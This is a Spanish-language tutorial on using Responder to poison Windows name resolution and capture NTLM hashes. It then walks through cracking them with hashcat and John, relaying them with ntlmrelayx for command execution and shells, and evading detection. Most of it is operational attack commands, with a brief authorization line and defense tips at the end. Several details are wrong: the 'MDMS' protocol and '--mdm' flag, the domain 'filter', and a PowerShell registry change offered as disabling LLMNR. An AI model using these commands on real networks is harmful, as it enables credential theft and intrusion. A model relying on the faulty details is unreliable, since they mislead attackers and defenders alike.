¿Qué es Responder?
Responder es una herramienta de auditoría de seguridad que explota la resolución de nombres en redes Windows. Cuando un usuario escribe un nombre de recurso incorrecto (ej: \\fileserber` en vez de \\fileserver`), Windows envía una petición de broadcast por LLMNR/NBT-NS. Responder responde falsamente y captura el hash NTLM que el usuario envía automáticamente.
Protocolos que intercepta:
- LLMNR — Puerto 5355 (resolución de nombres en red local)
- NBT-NS — Puerto 137 (NetBIOS Name Service)
- MDMS — Puerto 5353 (Multicast DNS)
- WPAD — Puerto 80 (Web Proxy Auto-Discovery)
Importante: Responder es una herramienta de auditoría de seguridad. Solo debe usarse con autorización explícita del propietario de la red.
Instalación
# Kali Linux — preinstalado
sudo responder -h
# Desde GitHub
git clone https://github.com/lgandx/Responder.git
cd Responder
pip install -r requirements.txt
sudo python3 Responder.py -h
# Impacket (para ntlmrelayx)
pip install impacket
Captura de Hashes NTLM
Configuración básica
# Verificar interfaz de red
ip addr show eth0
# Lanzar Responder en modo verbose
sudo responder -I eth0 -v
# Modo análisis (solo escucha, sin poisoning)
sudo responder -I eth0 -A
Cómo funciona el poisoning
- Usuario escribe
\\fileserber(typo) en Windows - Windows envía petición LLMNR/NBT-NS por broadcast
- DNS no responde (nombre incorrecto)
- Responder responde: "Yo soy fileserber"
- Windows envía hash NTLM al atacante
- Responder guarda el hash en
/usr/share/responder/logs/
Ficheros de log
# Ver hashes capturados
ls /usr/share/responder/logs/
# Formato del hash NTLMv2:
# admin::WORKGROUP:challenge:ntlmv2_response:session_blob
# Filtrar por dominio
grep "CORP" /usr/share/responder/logs/*.txt
Crackeo de Hashes
Con hashcat (GPU, más rápido)
# NTLMv2 (el más común)
hashcat -m 5600 hash.txt rockyou.txt
# NTLMv1
hashcat -m 5500 hash.txt rockyou.txt
# Con reglas (mejor probabilidad)
hashcat -m 5600 hash.txt rockyou.txt -r rules/best64.rule
# Fuerza bruta
hashcat -m 5600 hash.txt -a 3 ?a?a?a?a?a?a?a?a
# Ver progreso
hashcat status
Con John the Ripper
# NTLMv2
john --format=netntlmv2 hash.txt
# NTLMv1
john --format=netntlmv1 hash.txt
# Ver resultados
john --show --format=netntlmv2 hash.txt
NTLM Relay con ntlmrelayx
En vez de crackear hashes, puedes hacer relay: reenviar el hash capturado a otra máquina para obtener acceso autenticado sin conocer la contraseña.
Requisitos
- SMB signing deshabilitado en el objetivo
- El usuario capturado tiene privilegios en la máquina objetivo
- NTLMv1 o NTLMv2 (ambos funcionan)
Configuración
# Identificar hosts con SMB signing deshabilitado
nmap --script smb-security-mode -p 445 192.168.1.0/24
# Configurar ntlmrelayx
impacket-ntlmrelayx -t 192.168.1.50 -smb2support
# Con ejecución de comando
impacket-ntlmrelayx -t 192.168.1.50 -c "whoami" -smb2support
# Relay a LDAP para dumps
impacket-ntlmrelayx -t ldap://192.168.1.10 -smb2support
# Relay a HTTP (Exchange)
impacket-ntlmrelayx -t http://192.168.1.10/ews -smb2support
# Shell interactiva
impacket-ntlmrelayx -t 192.168.1.50 -smb2support -i
Configurar Responder para relay
# En /etc/responder.conf, deshabilitar SMB y HTTP
# [SMB Server]
# OnAttack = false
#
# [HTTP Server]
# OnAttack = false
#
# Dejar que ntlmrelayx maneje esos protocolos
sudo responder -I eth0 -v
Responder en Redes Corporativas
Escenarios comunes
# Red corporativa con LLMNR habilitado (común)
sudo responder -I eth0 -v
# Red con WPAD habilitado
# Responder sirve un archivo PAC falso
# Los navegadores capturados envían hashes por NTLM
# Red con multicast DNS
sudo responder -I eth0 -v --mdm
Evasión de detección
# Modo pasivo (sin enviar respuestas falsas)
sudo responder -I eth0 -A
# Filtrar por dominio específico
sudo responder -I eth0 -v --logfile /tmp/responder.log
# Delay entre respuestas (evitar detección por velocidad)
# Configurar en responder.conf:
# [Responder Core]
# Sleep = 1
Defensa contra Responder
Deshabilitar LLMNR/NBT-NS
# Group Policy: Computer Configuration > Administrative Templates > Network > DNS Client
# "Turn off multicast name resolution" = Enabled
# PowerShell (individual machine)
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters" -Name "EnableMDNS" -Value 0
Habilitar SMB Signing
# Group Policy: Computer Configuration > Windows Settings > Security Settings > Local Policies > Security Options
# "Microsoft network server: Digitally sign communications (always)" = Enabled
Extended Protection for Authentication (EPA)
# Group Policy: Computer Configuration > Administrative Templates > Windows Components > HTTP Service
# "HTTP Service Binding" = Enabled
Responder vs. mitm6 vs. Inveigh
| Característica | Responder | mitm6 | Inveigh |
|---|---|---|---|
| Protocolos | LLMNR, NBT-NS, MDMS, WPAD | DNSv6 | LLMNR, NBT-NS, mDNS, WPAD |
| Plataforma | Linux | Linux | Windows (PowerShell) |
| Relay | ntlmrelayx (externo) | Integrado | Integrado |
| Stealth | Alto (pasivo disponible) | Medio | Medio |
| Ideal para | Auditorías AD | IPv6 poisoning | Entornos Windows |
Errores Comunes
"No interface found"
→ Verifica con ip addr show y usa -I <interface>
"Permission denied"
→ Ejecuta con sudo
No captura hashes
→ Asegúrate de que LLMNR esté habilitado en la red. Verifica con nmap -sU -p 5355 <target>
Hashes capturados pero no crackeados → NTLMv2 es resistente a fuerza bruta. Usa contraseñas de diccionario o intenta relay con ntlmrelayx